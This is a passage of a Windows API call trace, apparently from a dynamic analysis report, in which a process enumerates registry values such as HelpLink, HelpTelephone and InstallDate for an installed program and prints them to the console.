dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.771] GetConsoleOutputCP () returned 0x1b5 [0147.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.771] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.771] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.771] __iob_func () returned 0x7fefd702a80 [0147.771] _fileno (_File=0x7fefd702ab0) returned 1 [0147.771] _errno () returned 0xc4bb0 [0147.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.772] _errno () returned 0xc4bb0 [0147.772] GetFileType (hFile=0x50) returned 0x1 [0147.772] lstrlenW (lpString="REG_SZ") returned 6 [0147.772] GetConsoleOutputCP () returned 0x1b5 [0147.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.772] GetConsoleOutputCP () returned 0x1b5 [0147.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.772] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.772] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.772] __iob_func () returned 0x7fefd702a80 [0147.772] _fileno (_File=0x7fefd702ab0) returned 1 [0147.772] _errno () returned 0xc4bb0 [0147.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.772] _errno () returned 0xc4bb0 [0147.772] GetFileType (hFile=0x50) returned 0x1 [0147.772] lstrlenW (lpString=" ") returned 4 [0147.772] GetConsoleOutputCP () returned 0x1b5 [0147.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.772] GetConsoleOutputCP () returned 0x1b5 [0147.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.772] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.773] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.773] __iob_func () returned 0x7fefd702a80 [0147.773] _fileno (_File=0x7fefd702ab0) returned 1 [0147.773] _errno () returned 0xc4bb0 [0147.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.773] _errno () returned 0xc4bb0 [0147.773] GetFileType (hFile=0x50) returned 0x1 [0147.773] lstrlenW (lpString="16.0.8326.2076") returned 14 [0147.773] GetConsoleOutputCP () returned 0x1b5 [0147.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8326.2076", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.773] GetConsoleOutputCP () returned 0x1b5 [0147.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8326.2076", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.0.8326.2076", lpUsedDefaultChar=0x0) returned 14 [0147.773] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.773] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.773] __iob_func () returned 0x7fefd702a80 [0147.773] _fileno (_File=0x7fefd702ab0) returned 1 [0147.773] _errno () returned 0xc4bb0 [0147.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.773] _errno () returned 0xc4bb0 [0147.773] GetFileType (hFile=0x50) returned 0x1 [0147.773] lstrlenW (lpString="\n") returned 1 [0147.773] GetConsoleOutputCP () returned 0x1b5 [0147.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.774] GetConsoleOutputCP () returned 0x1b5 [0147.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.774] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.774] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.774] GetProcessHeap () returned 0x2e0000 [0147.774] GetProcessHeap () returned 0x2e0000 [0147.774] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.774] GetProcessHeap () returned 0x2e0000 [0147.774] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.774] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.774] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.774] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.774] GetProcessHeap () returned 0x2e0000 [0147.774] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.774] GetProcessHeap () returned 0x2e0000 [0147.774] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.774] GetProcessHeap () returned 0x2e0000 [0147.774] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.774] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.774] __iob_func () returned 0x7fefd702a80 [0147.774] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.774] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.774] _fileno (_File=0x7fefd702ab0) returned 1 [0147.774] _errno () returned 0xc4bb0 [0147.774] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.774] _errno () returned 0xc4bb0 [0147.774] GetFileType (hFile=0x50) returned 0x1 [0147.774] lstrlenW (lpString=" ") returned 4 [0147.775] GetConsoleOutputCP () returned 0x1b5 [0147.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.775] GetConsoleOutputCP () returned 0x1b5 [0147.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.775] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.775] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.775] lstrlenW (lpString="HelpLink") returned 8 [0147.775] __iob_func () returned 0x7fefd702a80 [0147.775] _fileno (_File=0x7fefd702ab0) returned 1 [0147.775] _errno () returned 0xc4bb0 [0147.775] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.775] _errno () returned 0xc4bb0 [0147.775] GetFileType (hFile=0x50) returned 0x1 [0147.775] lstrlenW (lpString="HelpLink") returned 8 [0147.775] GetConsoleOutputCP () returned 0x1b5 [0147.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.775] GetConsoleOutputCP () returned 0x1b5 [0147.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.775] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.775] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.776] __iob_func () returned 0x7fefd702a80 [0147.776] _fileno (_File=0x7fefd702ab0) returned 1 [0147.776] _errno () returned 0xc4bb0 [0147.776] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.776] _errno () returned 0xc4bb0 [0147.776] GetFileType (hFile=0x50) returned 0x1 [0147.776] lstrlenW (lpString=" ") returned 4 [0147.776] GetConsoleOutputCP () returned 0x1b5 [0147.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.776] GetConsoleOutputCP () returned 0x1b5 [0147.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.776] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.776] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.776] __iob_func () returned 0x7fefd702a80 [0147.776] _fileno (_File=0x7fefd702ab0) returned 1 [0147.776] _errno () returned 0xc4bb0 [0147.776] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.776] _errno () returned 0xc4bb0 [0147.776] GetFileType (hFile=0x50) returned 0x1 [0147.776] lstrlenW (lpString="REG_SZ") returned 6 [0147.776] GetConsoleOutputCP () returned 0x1b5 [0147.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.777] GetConsoleOutputCP () returned 0x1b5 [0147.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.777] __iob_func () returned 0x7fefd702a80 [0147.777] _fileno (_File=0x7fefd702ab0) returned 1 [0147.777] _errno () returned 0xc4bb0 [0147.777] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.777] _errno () returned 0xc4bb0 [0147.777] GetFileType (hFile=0x50) returned 0x1 [0147.777] lstrlenW (lpString=" ") returned 4 [0147.777] GetConsoleOutputCP () returned 0x1b5 [0147.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.777] GetConsoleOutputCP () returned 0x1b5 [0147.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.777] __iob_func () returned 0x7fefd702a80 [0147.777] _fileno (_File=0x7fefd702ab0) returned 1 [0147.777] _errno () returned 0xc4bb0 [0147.777] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.777] _errno () returned 0xc4bb0 [0147.777] GetFileType (hFile=0x50) returned 0x1 [0147.777] lstrlenW (lpString="") returned 0 [0147.778] __iob_func () returned 0x7fefd702a80 [0147.778] _fileno (_File=0x7fefd702ab0) returned 1 [0147.778] _errno () returned 0xc4bb0 [0147.778] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.778] _errno () returned 0xc4bb0 [0147.778] GetFileType (hFile=0x50) returned 0x1 [0147.778] lstrlenW (lpString="\n") returned 1 [0147.778] GetConsoleOutputCP () returned 0x1b5 [0147.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.778] GetConsoleOutputCP () returned 0x1b5 [0147.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.778] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.778] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.778] GetProcessHeap () returned 0x2e0000 [0147.778] GetProcessHeap () returned 0x2e0000 [0147.778] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.778] GetProcessHeap () returned 0x2e0000 [0147.778] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.778] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.778] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.778] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.778] GetProcessHeap () returned 0x2e0000 [0147.778] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.778] GetProcessHeap () returned 0x2e0000 [0147.778] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.778] GetProcessHeap () returned 0x2e0000 [0147.778] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.779] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.779] __iob_func () returned 0x7fefd702a80 [0147.779] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.779] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.779] _fileno (_File=0x7fefd702ab0) returned 1 [0147.779] _errno () returned 0xc4bb0 [0147.779] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.779] _errno () returned 0xc4bb0 [0147.779] GetFileType (hFile=0x50) returned 0x1 [0147.779] lstrlenW (lpString=" ") returned 4 [0147.779] GetConsoleOutputCP () returned 0x1b5 [0147.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.779] GetConsoleOutputCP () returned 0x1b5 [0147.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.779] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.779] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.779] lstrlenW (lpString="HelpTelephone") returned 13 [0147.779] __iob_func () returned 0x7fefd702a80 [0147.779] _fileno (_File=0x7fefd702ab0) returned 1 [0147.779] _errno () returned 0xc4bb0 [0147.779] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.779] _errno () returned 0xc4bb0 [0147.779] GetFileType (hFile=0x50) returned 0x1 [0147.779] lstrlenW (lpString="HelpTelephone") returned 13 [0147.779] GetConsoleOutputCP () returned 0x1b5 [0147.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.780] GetConsoleOutputCP () returned 0x1b5 [0147.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.780] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.780] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.780] __iob_func () returned 0x7fefd702a80 [0147.780] _fileno (_File=0x7fefd702ab0) returned 1 [0147.780] _errno () returned 0xc4bb0 [0147.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.780] _errno () returned 0xc4bb0 [0147.780] GetFileType (hFile=0x50) returned 0x1 [0147.780] lstrlenW (lpString=" ") returned 4 [0147.780] GetConsoleOutputCP () returned 0x1b5 [0147.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.780] GetConsoleOutputCP () returned 0x1b5 [0147.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.781] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.781] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.781] __iob_func () returned 0x7fefd702a80 [0147.781] _fileno (_File=0x7fefd702ab0) returned 1 [0147.781] _errno () returned 0xc4bb0 [0147.781] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.781] _errno () returned 0xc4bb0 [0147.781] GetFileType (hFile=0x50) returned 0x1 [0147.781] lstrlenW (lpString="REG_SZ") returned 6 [0147.781] GetConsoleOutputCP () returned 0x1b5 [0147.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.781] GetConsoleOutputCP () returned 0x1b5 [0147.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.781] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.781] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.781] __iob_func () returned 0x7fefd702a80 [0147.781] _fileno (_File=0x7fefd702ab0) returned 1 [0147.781] _errno () returned 0xc4bb0 [0147.781] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.781] _errno () returned 0xc4bb0 [0147.781] GetFileType (hFile=0x50) returned 0x1 [0147.781] lstrlenW (lpString=" ") returned 4 [0147.782] GetConsoleOutputCP () returned 0x1b5 [0147.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.782] GetConsoleOutputCP () returned 0x1b5 [0147.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.782] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.782] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.782] __iob_func () returned 0x7fefd702a80 [0147.782] _fileno (_File=0x7fefd702ab0) returned 1 [0147.782] _errno () returned 0xc4bb0 [0147.782] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.782] _errno () returned 0xc4bb0 [0147.782] GetFileType (hFile=0x50) returned 0x1 [0147.782] lstrlenW (lpString="") returned 0 [0147.782] __iob_func () returned 0x7fefd702a80 [0147.782] _fileno (_File=0x7fefd702ab0) returned 1 [0147.782] _errno () returned 0xc4bb0 [0147.782] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.782] _errno () returned 0xc4bb0 [0147.782] GetFileType (hFile=0x50) returned 0x1 [0147.782] lstrlenW (lpString="\n") returned 1 [0147.782] GetConsoleOutputCP () returned 0x1b5 [0147.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.782] GetConsoleOutputCP () returned 0x1b5 [0147.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.783] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.783] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.783] GetProcessHeap () returned 0x2e0000 [0147.783] GetProcessHeap () returned 0x2e0000 [0147.783] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.783] GetProcessHeap () returned 0x2e0000 [0147.783] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.783] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.783] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.783] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.783] GetProcessHeap () returned 0x2e0000 [0147.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.783] GetProcessHeap () returned 0x2e0000 [0147.783] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.783] GetProcessHeap () returned 0x2e0000 [0147.783] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.783] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170927", pcbData=0x23f670*=0x12) returned 0x0 [0147.783] __iob_func () returned 0x7fefd702a80 [0147.783] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.783] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.783] _fileno (_File=0x7fefd702ab0) returned 1 [0147.783] _errno () returned 0xc4bb0 [0147.783] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.783] _errno () returned 0xc4bb0 [0147.783] GetFileType (hFile=0x50) returned 0x1 [0147.783] lstrlenW (lpString=" ") returned 4 [0147.783] GetConsoleOutputCP () returned 0x1b5 [0147.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.784] GetConsoleOutputCP () returned 0x1b5 [0147.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, 